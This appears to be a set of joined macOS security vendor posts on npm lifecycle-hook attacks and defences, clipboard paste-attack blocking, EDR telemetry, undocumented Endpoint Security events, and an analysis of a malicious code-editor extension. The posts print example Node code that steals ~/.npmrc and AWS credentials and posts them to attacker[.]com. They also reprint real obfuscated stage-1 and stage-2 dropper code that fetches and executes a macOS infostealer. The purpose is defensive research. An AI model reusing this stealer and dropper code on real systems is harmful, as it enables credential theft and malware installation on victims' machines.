There are several stages across the lifecycle of a package install in which malicious content can be introduced. Fortunately, the npm binary itself provides some useful signals about what is being executed and when.

Through research into npm’s lifecycle internals, Phorion identified environment variables that npm injects into every hook - one rich enough to identify not just that a hook is running, but which hook, which package, and which version. The same tagging drives both context for hunts and detections, and precise behavior-scoped protections that safeguard credentials, block second-stage download, and prevent worm propagation - without disrupting normal development workflows.

This post explores the recent wave of npm supply chain campaigns, walks through Phorion’s npm lifecycle research, and shows how it powers both better detection data and surgical in-line blocking.

The Threat Landscape

Supply chain attacks leveraging weaponised NPM packages have exploded in popularity over the last year - to name just a few of the most notable campaigns:

While we’ve seen attacker objectives diversify in recent incidents, the pattern is consistent: compromise a package or maintainer account, weaponise a lifecycle hook, and execute arbitrary code on every machine that installs it.

A Lifecycle Hook Crash Course

npm supports a broad range of lifecycle scripts - from prepack and prepare to test and restart. However, the scripts that matter for supply chain attacks are the ones that execute automatically during dependency installation without any explicit action from the developer.

The full lifecycle order during npm install (or npm ci) is:

From a supply chain perspective, the most commonly weaponised stages are preinstall, install, postinstall, and prepare. prepare is particularly relevant for git dependencies, seen in-the-wild as part of another related attack vector - backdoored coding tests.

Any npm package can define these scripts in its package.json:

{
  "name": "lifecycle-canary",
  "version": "1.0.0",
  "scripts": {
    "preinstall": "echo 'About to install'",
    "postinstall": "node setup.js"
  }
}

Though not the only weaponisation option, lifecycle hooks are a particularly common target because they’re a light-touch way to add immediate execution to a package. An attacker doesn’t need to understand the package’s internal logic, find a reachable code path, or modify an existing installation process; they can add their premade malicious script and point to it from package.json.

Since developers (and automated CI processes) are unlikely to review changes to lifecycle hooks for every dependency update, this ‘drop-in’ approach can prove effective.

Weaponisation

Once execution is wired into a lifecycle hook, malicious code runs in the user’s context, with full access to their environment and filesystem.

With recent incidents like Shai-Hulud and the Axios package compromise leveraging JavaScript executed via node, we can see permutations of malicious script content (once deobfuscated) that achieves its objectives by shelling out to native tools (curl, cat):

const { execSync } = require('child_process');
const os = require('os');

const credentialPaths = [
  `${os.homedir()}/.npmrc`,
  `${os.homedir()}/.aws/credentials`,
  ...
];

const stolen = credentialPaths.map(path => ({
  path,
  content: execSync(`cat "${path}" 2>/dev/null || true`).toString(),
}));

execSync(`curl -X POST -d '${JSON.stringify(stolen)}' https://attacker[.]com/collect`);

Or by using Node’s built-in APIs for file access and network requests:

const fs = require('fs');
const https = require('https');
const os = require('os');

const credentialPaths = [
  `${os.homedir()}/.npmrc`,
  `${os.homedir()}/.aws/credentials`,
  ...
];

const stolen = credentialPaths
  .filter(path => fs.existsSync(path))
  .map(path => ({ path, content: fs.readFileSync(path, 'utf8') }));

const request = https.request('https://attacker[.]com/collect', { method: 'POST' });
request.end(JSON.stringify(stolen));

The diagram below generalises this into the three outcomes we care about: credential access, data exfiltration, and second-stage effects like worm propagation.

Even in simplified form, these script examples show why lifecycle-hook attacks are awkward to defend with the likes of file events or process relationships alone.

Sometimes the suspicious activity appears as node spawning cat or curl; other times the same credential access and network exfiltration happen entirely inside the Node.js process.

In either case, detection and prevention still requires walking back up the process tree to determine whether the activity originated from an npm install or npm ci event and, even then, that provides no context about the specific package or lifecycle phase.

npm Environment Variables

When npm runs a lifecycle script, it injects a set of environment variables into the shell process, prefixed with npm_, including:

npm_command=install
npm_lifecycle_event=postinstall
npm_package_name=example-package
npm_package_version=1.2.3

The critical variable here is npm_lifecycle_event, telling any process in the tree exactly which hook phase is currently executing.

These environment variables are inherited by child processes via execve(). When a postinstall script spawns a curl based one-liner, for example, that process inherits the full npm environment - including npm_lifecycle_event=postinstall. This inheritance is transitive: no matter how deep the process tree goes via direct fork/exec, every descendant carries the variable.

This is where it gets interesting for defenders.

From Environment Variable to Full Activity Tagging

Apple’s Endpoint Security Framework (ESF) delivers detailed information about every process execution on the system, including the full environment of the new process at the point of execve().

The Phorion agent inspects that environment and, if it finds an npm_lifecycle_event, extracts the lifecycle phase along with npm_package_name and npm_package_version, and tags the process with a behavior label.

Because npm’s environment variables propagate across execve(), every descendant in the lifecycle hook’s process tree arrives at ESF carrying them too, so the same metadata can be derived for the curl an obfuscated postinstall script reaches several layers down:

{
  "event_type": "ProcessExec",
  "signing_id": "com.apple.curl",
  "process_args": ["curl", "-X", "POST", "-d", "...", "https://attacker[.]com/collect"],
  "behavior": ["NpmPostInstall"],
  "enrichments": {
    "npm": {
      "lifecycle_event": "postinstall",
      "package_name": "lifecycle-canary",
      "package_version": "1.0.0"
    }
  },
  ...
}

This enriches context from “curl made a POST request” to “curl made a POST request during the postinstall of lifecycle-canary@1.0.0” - actionable detail for both targeted detection and incident response. It makes retrospective hunting straightforward: when a vulnerable or compromised package is disclosed, you can pivot directly from the package name and affected versions to every instance of execution across the entire fleet.

Subsequent file reads, network connections, and DNS queries don’t carry an environment of their own, however. To bridge that gap, Phorion propagates the earliest occurrence of the behavior tag and lifecycle metadata in-agent across the process tree. This gives a comprehensive picture of the lifecycle hook’s activity, with a further benefit: the lifecycle code cannot evade detection by tampering with environment variables in later stages of its execution.

The result is a complete map of the lifecycle hook’s activity across every descendant and every event type. The read of ~/.aws/credentials, the lookup of an attacker-controlled domain, and the curl that POSTs the data all carry the relevant lifecycle tag.

Protections Built on This Signal

The behavior tagging is valuable as enrichment alone - but the same signal can be used to block in-line. Phorion’s Protections provide comprehensive rules that deny specific file accesses and process executions under tightly-scoped conditions.

Because the trigger here is the behavior, not a specific binary, parent process or path - the rules can be incredibly precise about what is blocked and when. For npm lifecycle hooks, this means:

Process Execution Controls

Certain binaries and accompanying arguments have no legitimate reason to execute during the covered npm lifecycle stages. Among others, Phorion blocks the below activities outright:

The npm publish block is particularly significant. Several of the campaigns described above - Shai-Hulud, Shai-Hulud 2.0, and CanisterWorm - are self-propagating worms. They steal npm tokens during lifecycle hooks and use them to publish infected versions of the victim’s own packages, turning every compromised developer into a distribution vector. Blocking npm publish during lifecycle hooks directly breaks this propagation chain.

The open block is worth highlighting too. /usr/bin/open doesn’t exec() its target - it asks LaunchServices to spawn it, which severs the new process from the npm process tree and, with it, the inherited npm_lifecycle_event environment.

As with all other Phorion Protections, these are fully configurable, individually toggleable rules. An organisation that genuinely needs Python, for example, during npm lifecycle execution (e.g., for node-gyp native compilation) can disable that specific rule while keeping the others active.

File Access Controls

Beyond blocking dangerous processes, Phorion prevents lifecycle hook code from reading sensitive credential files. This targets the most common objective of npm supply chain attacks - stealing secrets.

When a process tagged with an npm lifecycle behavior attempts to open sensitive files, the access is denied. To name a few, this includes:

The CLI tools and scripts that otherwise use these credentials during development and deployment workflows will continue to work as normal outside of lifecycle hooks, but any attempt to access them during a hook is blocked.

Conclusion

Research into npm’s lifecycle internals turned a small environment-variable surface into a strong defensive signal. By inspecting the environment and propagating the resulting behavior tag and package metadata in-agent across the process tree, Phorion ties every downstream file, network and DNS event back to the specific lifecycle hook and package that triggered it. That precision pays off in two ways.

In the data, every process, file, network, and DNS event carries the lifecycle phase and package metadata. Hunts pivot directly from a compromised package to every affected execution across the fleet, with no manual process-tree walking required. Which files did it access? What did it download? Which domains did it query? All visible with a single search query.

In the protections, the same behavior tagging scopes what could otherwise be over-broad blocks. curl, npm publish and osascript stay available to the developer who needs them, but lose the ability to run under a lifecycle hook where they have no legitimate purpose.

Protections are available now to front-runner Phorion customers.
Get in touch to arrange a demo.

Protections is made up of two complementary hardening layers, each one closing off a different stage of the attack chain:

• Process execution controls shrink the attack surface. Block curl, osascript, python or any other binary on the endpoints that don’t need them, and entire classes of stage-one payloads never get the chance to run.
• File access authorization protects the data that matters. Browser cookies, SSH keys, and developer secrets are locked to the processes that legitimately touch them, so it doesn’t matter how an attacker reached the endpoint; your sensitive files are locked down.

Attackers are constantly evolving their tradecraft. New infostealers, new initial access vectors and new techniques appear every week. Protections doesn’t chase those TTPs. It defines what legitimate behaviour looks like on your endpoints, what processes should run and what files they should touch, and blocks everything else. The control holds regardless of how the threat is packaged.

The hard part is knowing what “legitimate” actually looks like in your environment, and this is exactly why it makes sense to build Protections upon the foundations of Phorion’s EDR. Every control is paired with historical analytics from the same telemetry your detections run on. Before you enforce anything, you can see how often the control would have fired, which users and devices it would have hit, and what normal behaviour looks like across your fleet.

Process execution controls

Process execution controls in Phorion lean into two complementary approaches, each one reducing the attack surface from a different angle:

• Blocking process flows that should never legitimately happen. Specific parent/child relationships, command-line patterns and signing combinations that have no business existing on a healthy endpoint. If a Word document spawns bash, something has already gone wrong, so the control prevents the execution before it becomes an incident.

• Blocking tooling that isn’t required on the devices it’s running on. Does your marketing team really need osascript, curl or python on their laptops? If not, blocking those binaries outright closes off entire classes of living-off-the-land technique on the endpoints where they were never needed in the first place.

The real power of these controls comes from how precisely you can scope them. Some users in your estate genuinely need osascript, curl or python to do their jobs. Many others do not. Without granular scoping, the populations that need those binaries force every device in the fleet to keep them available, and your protections fall back to the lowest common denominator. See Adapt to your environment for how Phorion handles this.

File access controls

Infostealers are the dominant macOS threat, and file access controls are one of the most effective ways to limit what they can reach. Browser cookies, developer secrets, SSH keys and credential stores get locked to the processes that legitimately touch them, and the rest of the system loses access by default. The attack surface around the data that actually matters drops sharply.

In practice, a file access protection has two parts: the paths to lock down, and the exclusions that define which processes are allowed to touch them. Here’s an example protection that covers Google Chrome’s on-disk data, with exclusions for the browser itself and for password managers that legitimately read it.

Equivalent protections ship for Safari, Edge, Brave, Arc, Opera and Firefox, each with their own browser and system exclusions, so the controls work out of the box across a typical macOS estate. Every exclusion is also gated on the process having a valid, trusted code signature, so a malicious binary that spoofs a known signing ID is still blocked because its signature won’t validate.

File access controls aren’t a new idea on macOS. Google/North Pole Security’s Santa and Phorion’s own cookie lockdown mechanism have excelled in this space for years. What’s been missing is a single tool that ties them together with the rest of your endpoint security. With Phorion Protections, file access authorization, process execution controls, and EDR telemetry live in one agent, one policy surface, and one investigation workflow.

Adapt to your environment

One size rarely fits all in enterprise environments. Phorion’s protections can be scoped to the devices and groups that need them, and tuned per rule with exclusions, so each control fits where it’s deployed.

Scope precisely

Security controls that fall back to the lowest common denominator leave gaps everywhere. If one development team needs curl or osascript, that doesn’t mean your marketing and sales teams do too. Likewise, if your endpoint management setup requires those binaries, they don’t have to be permitted unconditionally.

Phorion’s scoping handles both cases: apply a protection to a device group, target individual devices, or take a broad rule and carve out exemptions for specific groups or devices. Legitimate usage from administrative scripts can also be allowlisted, while the same binaries stay blocked everywhere else, all without maintaining two parallel policies.

Tune with exclusions

Every protection is paired with the analytics you need to build and validate exclusions confidently. You can see which users and devices a rule would impact, baseline what legitimate behaviour looks like in your environment, and add exclusions where they’re safe to enable.

Phorion’s protections ship with default exclusions for known-good behaviour, and the analytics will flag whether a new exclusion you’re considering is safe before you enable it.

Layered defence

Responsible security means acknowledging silver bullets do not exist. Motivated attackers will find ways to bypass individual controls, so the goal is to stack independent layers and drive up the cost of exploitation at every stage. Phorion approaches that across four complementary layers:

• Prevent known malware with a best-in-class malware engine, integrated through our partnership with DoubleYou, so commodity threats never get the chance to execute in the first place.
• Reduce the attack surface with process execution controls, blocking tooling that endpoints don’t need and process flows that should never legitimately happen.
• Cut off attack paths with file access controls. Browser cookies, secrets and credential stores are locked to the processes that legitimately touch them, even after an attacker reaches the endpoint.
• Detect what warrants human analysis with Phorion’s EDR, so behaviour that doesn’t justify an outright block still surfaces for review.

Phorion Protections brings prevention and detection together on a single agent, so defenders move at the same pace as attackers.

Get in touch to arrange a demo and see Phorion Protections in your environment.

These ‘pastejacking’ attacks are alarmingly effective. Unlike other vectors like backdoored software, they sidestep Gatekeeper and Notarization, and typically utilise native, code-signed Apple binaries to achieve infection.

Be it wrapped in the lure of some required update, a helpful script to fix a common problem, or a “one-liner” installer for popular software, the attack surface is vast.

Acknowledging the problem

In macOS Tahoe (26.4), Apple introduced two complementary defences against paste attacks.

Documented by Ferdous Saljooki, the first is a warning built into Terminal that presents a Possible malware; paste blocked prompt when content is pasted from a browser. As Saljooki’s analysis shows, the warning fires only when multiple conditions are all met, including that the user is not a developer and hasn’t opened Terminal in the last 30 days. This makes it an effective safeguard for general users, but by design it won’t trigger for developer and IT users that regularly use Terminal.

The second layer runs inside the XProtect daemon. Subscribing to undocumented Endpoint Security Framework event types (as detailed by Patrick Wardle), it scans pasted content (exclusively from its own list of browsers) and checks any domains found against Safari’s Safe Browsing Service in real time - blocking the paste with a Malware Detected, Paste Blocked prompt. A more substantive defence that operates regardless of user profile, though limited to domains already present in Apple’s blocklist.

On the open-source front, tools like Patrick’s BlockBlock provide heuristics-based blocking of content pasted into terminal applications.

These are welcome steps in the right direction.

For security teams managing enterprise fleets, though, there are areas where additional coverage and customisation can complement these protections - content-level heuristics that don’t depend on closed domain intelligence, coverage across paste sources and vectors, centralized telemetry, and policy-driven configurability.

Today we’re releasing Clipboard Protection in beta - a new capability in the Phorion agent that detects and blocks ClickFix-style paste attacks in real time.

A unique endpoint perspective

Phorion’s position on the endpoint provides a unique vantage point to build a high-fidelity, highly-configurable, clipboard monitor. At the system level, our agent can observe what no single application can:

• Where the content came from: we track which application placed content on the clipboard, so we know whether it originated from a browser, a chat application, or an internal tool
• Where the content is going: we detect when a paste lands in a terminal emulator; the typical destination for these ClickFix attacks
• What the paste contains - we evaluate the clipboard content against configurable heuristics, only logging and taking action where suspicious patterns are detected
• How the paste happened: whether via keyboard shortcut (⌘+V), right-click or toolbar menus, or even a drag-and-drop, we cover every paste vector

With this full context, we’re not guessing whether a browser-initiated copy ends up in a terminal, or where a terminal paste originally came from.

Protect users, don’t block productivity

Not every paste from a browser to a terminal is malicious. Developers paste legitimate commands from documentation dozens of times a day. For some, blanket blocking would grind work to a halt.

That’s why Clipboard Protection supports three blocking modes, so you can match the level of protection to your organisation’s risk appetite:

Any of these modes can be paired with an interactive prompt. Instead of silently blocking a paste, Phorion presents the user with exactly what’s about to be pasted and where it came from. The user can choose to allow the paste and continue, or cancel it.

A “Remember” option, inspired by Patrick’s BlockBlock implementation (mahalo!), lets them approve a paste and suppress further prompts for that terminal session, keeping friction to a minimum for known-good workflows. If the prompt goes unanswered, it times out and blocks automatically.

Every decision (whether the paste was blocked silently, blocked by timeout, or explicitly allowed by the user) is logged and available to security teams. This means that even when a user approves a paste, there’s a full audit trail of what was pasted, from where, and in what scenario.

Adapt to Your Environment

Transparency is a core tenet of how we build at Phorion. This isn’t a blackbox of signatures and hardcoded browsers and terminal apps. Every organisation is different, and Clipboard Protection is designed to reflect that.

Phorion gives you full control over what’s monitored, what’s blocked, and what’s excluded.

Define the sources. Choose which applications are treated as monitored sources. Browsers are the default (Chrome, Safari, Firefox, Arc, and others), but you can add Slack, Teams, Discord, or any other application that might be used to deliver a ClickFix lure.

Define the destinations. Choose which applications are protected as paste targets. All major terminal emulators are covered by default (Terminal, iTerm, Warp, Ghostty and others), and you can customise the list as needed.

Define what’s suspicious. In Smart mode, configure the heuristics that determine when a paste is dangerous. Out of the box, it catches the patterns most commonly associated with ClickFix attacks, but you can add your own patterns or adjust thresholds to match your environment.

Exclude what you trust. Build exclusions for known-safe content. If your team routinely pastes deployment commands from an internal wiki, or you’re regularly installing dev tools with one-liner installs, exclude those by domain or by content pattern, so your users aren’t interrupted for legitimate work.

Handle clipboard managers gracefully. Tools like Raycast, Alfred, and Maccy are staples of the macOS workflow. When a user pastes something from a clipboard manager’s history, Phorion still traces the content back to its original source. If it was copied from a suspicious website and later replayed via Raycast, we evaluate it accordingly: no gaps, no disruption to the user’s workflow.

A Note on Privacy

Any feature that observes clipboard content carries an inherent responsibility. A clipboard monitor that isn’t carefully designed could in itself become a security concern, whether through misconfiguration by an overzealous admin, or simply through accidental data exposure. We’ve built several safeguards directly into the agent to prevent this.

Privacy blocklist. The Phorion agent ships with a built-in blocklist of privacy-sensitive applications: password managers like 1Password, Bitwarden, Apple’s own Passwords app, and others. This applies to both to the source and destination of the paste event and ensures that these applications are never monitored.

Secret Redaction. Clipboard content pasted into terminals can contain API keys, tokens, and credentials. The same secret-scrubbing regex engine that redacts sensitive values from Phorion’s process telemetry is applied to clipboard snippets before they leave the device.

Configurable snippet length. Administrators can control the length of the clipboard content snippet included in telemetry via the length setting, from a generous window for deeper analysis right down to zero, which disables content capture entirely. Phorion still hashes the clipboard content, allowing security teams to correlate common attack payloads across their fleet without ever seeing the raw text.

Interested in trying it out? Clipboard Protection is available in beta now for all Phorion users. Get in touch to arrange a demo.

The EDR Telemetry Project is an open source, community-driven project designed to evaluate detection and response telemetry across industry vendors. In March 2026, the project released its first ever macOS vendor evaluation, and the results were underwhelming for most vendors, except Phorion.

High telemetry scores are only meaningful if they translate into real detection capability. The rest of this post walks through a few specific areas where Phorion’s visibility enables detections that most competing products simply cannot offer.

Visibility that matters

Phorion’s telemetry is shaped by our own detection engineering. Where additional data improves coverage of real-world Tactics, Techniques, and Procedures (TTPs), we build it in. The result is an agent equipped with the telemetry required for reliable, out-of-the-box detection and response. Crucially, the telemetry sources we ingest are always growing, as you can see from some of our recent research where we continuously track new events Apple makes available.

Below are just a few examples of where Phorion’s extensive visibility can give you the edge.

File Access Events

File access telemetry is one of the noisiest event categories an EDR can collect, which is exactly why most vendors avoid it entirely. Some offer a middle ground, allowing teams to monitor specific file paths, which can be useful when you know exactly what you’re looking for. But during an incident, what if you didn’t think about or know about a critical file? Was it accessed, or are you left guessing?

Phorion collects file access events across the board. This means that when an infostealer touches ~/Library/Keychains, when a malicious VS Code extension reads SSH keys from ~/.ssh/, or when an attacker accesses browser cookie stores, the telemetry is already there. Beyond detection, Phorion’s cookie theft protections actively block non-browser processes from accessing sensitive browser file paths and terminate offending processes the moment they touch protected locations. With the prevalence of infostealers on macOS, file access telemetry is one of the most critical gaps in the majority of EDRs on the market.

TCC Service Usage

Transparency, Consent, and Control (TCC) governs access to some of the most sensitive capabilities on macOS: screen recording, accessibility, input monitoring, camera and microphone usage. When a process requests or is granted one of these permissions, it represents a significant change in what that process can do. Of the vendors evaluated, only one competitor collects any TCC telemetry at all, and even then only for permission modifications. Phorion collects every instance in which a TCC-protected service is used.

Phorion’s extensive visibility into TCC events, built on the same research behind Kronos, enables detection of highly sensitive permission grants. If a previously unknown binary gains accessibility access (a common prerequisite for keylogging) or screen recording permission (used by surveillance tooling), that event is captured and available for detection logic. Without TCC telemetry, these permission changes happen silently.

File Attribute Changes

File attribute changes represent a category where the gap between Phorion and the rest of the field is particularly wide. No other evaluated vendor fully supports these events.

This matters because, as an industry, we have observed threat actors in the wild manipulating file attributes for defence evasion. As a result, this seemingly nondescript event type proved valuable for identifying malicious behaviour across environments. Ingesting these events proactively - before specific TTPs are publicly associated with them - means the data is already available when a new technique surfaces, rather than wishing you had it after the fact.

An example of how we can use extended attribute events for specific detection cases:

event_type:SetExtAttr AND 
source_signing_id:com.apple.osacompile AND 
extattr:com.apple.ResourceFork

Resource fork abuse via osacompile. Attackers use osacompile to hide compiled AppleScript inside a file’s resource fork by writing to the com.apple.ResourceFork extended attribute. This is a macOS-specific evasion technique that bypasses conventional content inspection: the malicious payload lives in the resource fork rather than the data fork. Without SetExtAttr events, this technique is invisible to endpoint telemetry.

Dispelling the myth of performance

One of the most common justifications for limited telemetry is performance. The argument is that collecting more events introduces unacceptable CPU and memory overhead, so vendors aggressively trim what they capture to keep their footprint low.

Phorion takes a different approach. Our agent is built natively for macOS, with deep integration into the platform. That investment enables us to collect and process event data others leave behind, without degrading the experience for end users.

Performance isn’t a reason to create critical blind spots; it’s an engineering problem. And it’s one that Phorion continuously stays on top of by design.

You don’t have to take our word for it. Phorion includes built-in performance visibility, so you can see exactly what the agent is doing on every endpoint:

Telemetry is the foundation of detection and response. The EDR Telemetry Project’s first macOS evaluation confirmed what we already knew: most vendors are leaving critical data on the floor. Phorion collects it, uses it to detect real threats, and does so without compromising the endpoints it protects.

Interested in seeing what this visibility looks like in practice? Get in touch to arrange a demo.

Background

Each macOS release brings new Endpoint Security Framework (ESF) events that extend the capabilities of security tools. With macOS 26.4, Apple added seven new events, but for the first time, they arrived completely undocumented. They show up in ESTypes.h labeled only as ES_EVENT_TYPE_RESERVED_0 through _6:

// The following events are available beginning in macOS 26.3

ES_EVENT_TYPE_RESERVED_0, // Unable to subscribe
ES_EVENT_TYPE_RESERVED_1, // Unable to subscribe
ES_EVENT_TYPE_RESERVED_2, // Unable to subscribe

// The following events are available beginning in macOS 26.4.0
ES_EVENT_TYPE_RESERVED_3, 
ES_EVENT_TYPE_RESERVED_4, 
ES_EVENT_TYPE_RESERVED_5, // Covered by Patrick's blog
ES_EVENT_TYPE_RESERVED_6, // Covered by Patrick's blog

Subscribing to RESERVED_3 and RESERVED_4 confirmed they follow the established ESF pattern: RESERVED_3 fires as an AUTH event (requiring a response), while RESERVED_4 fires as the corresponding NOTIFY event. Initial observation showed these events triggering when processes opened listening sockets, suggesting they hook into the bind() syscall. The challenge was reconstructing the undocumented event struct to extract useful data.

Exploring the Event Structure

Test Harness

To generate controlled events with known values, a simple Python one-liner serves as a test harness:

import socket;s=socket.socket();s.bind(('192.168.1.101',0x1234));s.listen();print('listening');s.accept()

This binds to IP 192.168.1.101 (hex: c0 a8 01 65) on port 0x1234 (hex: 34 12 in little-endian). With known values to look for, identifying fields in the raw event data becomes much easier.

Following the Pointers

Dumping the raw bytes of msg->event shows an 8-byte value that looks like a pointer, followed by zeros:

msg->event:
0000: 80 a3 e5 04 01 00 00 00  00 00 00 00 00 00 00 00  |................|
0010: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|

That first value (0x0104e5a380) is a pointer to an inner struct. Following it reveals another pointer at the start, then more data:

inner struct @ 0x0104e5a380:
0000: 98 a3 e5 04 01 00 00 00  01 00 00 00 00 00 00 00  |................|
0010: 06 00 00 00 00 00 00 00  02 00 00 00 c0 a8 01 65  |...............e|
0020: 00 00 00 00 00 00 00 00  00 00 00 00 34 12 00 00  |............4...|

The two pointers are pretty close to each other. The inner struct is at 0x0104e5a380, and the pointer it contains is 0x0104e5a398. That’s 0x18 (24 bytes) ahead. We can diagram the layout as follows:

inner struct layout:
+0x00: points to +0x18
+0x08: [unknown 16 bytes]
+0x18: <-- ptr points here

Following that pointer at +0x00: the value 0x0104e5a398, to +0x18. We get a couple of familiar patterns.

*inner->ptr @ 0x0104e5a398:
0000: 02 00 00 00 c0 a8 01 65  00 00 00 00 00 00 00 00  |.......e........|
0010: 00 00 00 00 34 12 00 00  00 00 00 00 00 00 00 00  |....4...........|

There’s the bind address from the test harness. At +0x04 we see c0 a8 01 65 (192.168.1.101), and at +0x14 we see 34 12 (port 0x1234 in little-endian). The first four bytes 02 00 00 00 we interpret as AF_INET (address family 2).

The Address Structure

To confirm this analysis, testing with IPv6 validates the address family field:

python3 -c "import socket;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.bind(('::1',4660));s.listen();input('bound');s.close()"

With IPv6, the address family bytes change to 1e 00 00 00 (0x1e = 30 = AF_INET6).

The Unknown 16 Bytes

Going back to the 16 bytes between the initial pointer and the address struct (offsets +0x08 through +0x17), these likely contain socket metadata. Running different socket configurations and comparing the results reveals a pattern:

The values at +0x10 stand out: 6 for TCP and 17 for UDP. These match the IANA protocol numbers from RFC 1700:

#define IPPROTO_TCP             6               /* tcp */
#define IPPROTO_UDP             17              /* udp */

The field at +0x0C appears to indicate socket type (0 for SOCK_STREAM, 1 for SOCK_DGRAM).

To understand the remaining fields, further testing explored edge cases. Setting various socket options like SO_REUSEADDR and SO_REUSEPORT before binding had no effect on any of these values. Binding to different interfaces (loopback versus all interfaces) also produced no change in the metadata fields.

Raw sockets do not trigger the event at all. Unix domain sockets also do not generate these events, which makes sense given ESF already has ES_EVENT_TYPE_NOTIFY_UIPC_BIND for that purpose.

Across all tests, the fields at +0x08 and +0x14 remained constant at 1 and 0 respectively. Without additional test cases that cause these values to change, their exact meaning remains unclear.

Reconstructed Structure

Putting it all together with the information we have:

typedef struct {
    uint32_t family;     // +0x00: AF_INET (2), AF_INET6 (30)
    uint8_t  addr[16];   // +0x04: IPv4 in first 4 bytes; IPv6 uses all 16
    uint32_t port;       // +0x14: port in host byte order
} es_socket_bind_addr_t;

#define ES_SOCK_TYPE_STREAM 0
#define ES_SOCK_TYPE_DGRAM  1

typedef struct {
    es_socket_bind_addr_t *addr; // +0x00: pointer to address
    uint32_t unknown_08;         // +0x08: always 1
    uint32_t socket_type;        // +0x0C: STREAM(0) or DGRAM(1)
    uint32_t protocol;           // +0x10: IPPROTO_TCP(6), IPPROTO_UDP(17)
    uint32_t unknown_14;         // +0x14: always 0
} es_socket_bind_inner_t;

typedef struct {
    es_socket_bind_inner_t *inner; // +0x00
} es_event_socket_bind_t;

Conclusion

Apple’s undocumented ES_EVENT_TYPE_RESERVED_3 and _4 events provide socket bind AUTH and NOTIFY capabilities respectively. By reverse engineering the event struct, these events expose:

• Address family (IPv4/IPv6)
• Bound IP address
• Port number
• Socket type and protocol

…and perhaps a little bit more we don’t quite understand yet. Combined with the network connection events Patrick documented, macOS 26.4 delivers substantial new network visibility through ESF. While these events remain undocumented and could change in future releases, they represent a meaningful expansion of what’s possible for macOS security tools, without the complexity of Network Extensions.

We look forward to Apple formally documenting these events and providing stable struct definitions in a future SDK release. New events means new detection opportunities, and we’re excited to further explore how to leverage this enhanced visibility.

This thriving ecosystem of third party extensions has created an opening for threat actors. Extensions often inherit broad permissions that allow code execution and file access, making them attractive points of initial access. The combination of developer trust, extension convenience and supply chain adjacency continues to produce high value opportunities for malicious actors across macOS environments.

Secure Annex’s reporting on SleepyDuck in early November highlighted this trend, documenting a similar extension to that in this blog. These malicious extensions have now shifted to an infostealer payload, which reinforces how adaptable the technique is. The lure remains effective because it leans on a familiar trust signal. The extension climbed to the top of the store by download count, which is (understandably) a common metric developers use to judge whether a plugin is safe.

This blog examines a real-world infection chain that originated from a malicious Cursor extension. We detail how the attack progressed, how Phorion caught and prevented the attack, and the lessons defenders can apply to similar threats.

Infection Chain

Ether Solidity Extension

The infection starts with developers searching the Open VSX registry for Solidity support. The Ether Solidity extension (ether.solidity) is presented as the top result, with more than 117k downloads since 24 November - an almost certainly artificially-inflated figure.

Both the specific extension and publisher have now been removed from Open VSX.

Stage 1

After installation, the extension executes JavaScript hidden inside a file posing as webpack.js. That file exposes the core functionality of the extension:

• Collect basic information about the host, such as hostname, username and MAC address.
• Make a POST request with this data to an external site.
• Execute the returned 2nd stage JavaScript code.

function init () {
    var burger_strawberry = require('https');
    var soda = require('vm');
    var vanilla_fruit = require('fs');
    var melon = require('os');
    var apple_apple = require('path');
    var candy = require('crypto');
    const apple = (Object + '').split(' ')[0] + "." + (undefined) + (23 - 2) + ".com";

    function berry_burger () {
        const ifaces = melon.networkInterfaces();
        for (const name of Object.keys(ifaces)) {
            for (const iface of ifaces[name]) {
                if (!iface.internal && iface.mac !== '00:00:00:00:00:00') {
                    return iface.mac;
                }
            }
        }
        return 'unknown';
    }

    function burger_garlic () {
        const data = melon.hostname() + berry_burger() + melon.platform();
        return candy.createHash('sha256').update(data).digest('hex').substring(0, 16);
    }

    const wheat_pasta = {
        hostname: melon.hostname(),
        username: melon.userInfo().username,
        platform: melon.platform(),
        macAddress: berry_burger(),
        machineId: burger_garlic()
    };

    function pizza () {
        const options = {
            method: 'POST',
            headers: {
                'Content-Type': 'application/json'
            }
        };

        const req = burger_strawberry.request("https://" + apple + '/p', options, (res) => {
            let pasta_water = '';
            res.on('data', (strawberry_onion) => pasta_water += strawberry_onion);
            res.on('end', () => {
                try {
                    const barley = soda.createContext({
                        console,
                        require,
                        process,
                        Buffer,
                        burger_strawberry,
                        apple,
                        vanilla_fruit,
                        melon,
                        apple_apple
                    });
                    soda.runInContext(pasta_water, barley);
                } catch (e) {}
            });
        });

        req.write(JSON.stringify(wheat_pasta));
        req.end();
    }
    pizza();

}

module.exports = init;

Following a consistent culinary theme, the constant apple is being used to obfuscate the domain name used for future communication - function[.]undefined21[.]com.

const apple = (Object + '').split(' ')[0] + "." + (undefined) + (23 - 2) + ".com";

The code combines the hostname, MAC address and platform, then hashes them to generate a machine ID, likely enabling the actor to track unique infections across the campaign. This data is then sent to the C2 domain.

Finally, the response from the web request is used with the vm.runInContext() method to compile and run the subsequent stage.

Stage 2

Fetching the contents of the JavaScript response reveals the second stage payload dropper code that makes no attempt to hide its intentions.

It retrieves data from the /sss endpoint of the original domain, writes it to a file named xoxoxoxxx in a temporary directory, and uses a series of nested callbacks that execute operating system commands to mark the file as executable and strip the quarantine attribute, before executing it. The fs.unlink() function is the final step, removing the file from disk.

var fs = require('fs');
var os = require('os');
var https = require('https');
var path = require('path');
var { exec } = require('child_process');
function downloadAndRun() {
    var url = 'https://function[.]undefined21[.]com/sss';
    var filename = 'xoxoxoxxx';
    var filePath = path.join(os.tmpdir(), filename);
    https
        .get(url, res => {
            if (res.statusCode !== 200) {
                res.resume();
                return;
            }
            var fileStream = fs.createWriteStream(filePath);
            res.pipe(fileStream);
            fileStream.on('finish', () => {
                fileStream.close();
                exec(`chmod +x "${filePath}"`, () => {
                    exec(`xattr -d com.apple.quarantine "${filePath}"`, () => {
                        exec(`"${filePath}"`, () => {
                            fs.unlink(filePath, () => {});
                        });
                    });
                });
            });
        })
        .on('error', () => {});
}
downloadAndRun();

Stage 3 - Paradox Stealer

The dropped executable xoxoxoxxx contains a Golang-based macOS infostealer. Indicators strongly suggest that the codebase is heavily shared (if not identical) to an open-source GitHub project called paradox (https://github.com/githubesson/paradox), which this blog refers to as Paradox Stealer.

The Paradox Stealer repository offers tooling that collects browser data, chat application records, keychain items and cryptowallets. It also includes a management application and supporting server components.

The project frames itself as research, which aligns with its use of familiar macOS infostealer techniques found in families such as AMOS, Poseidon and Banshee. It is, however, currently being deployed in active campaigns tied to the wider attack discussed in this article.

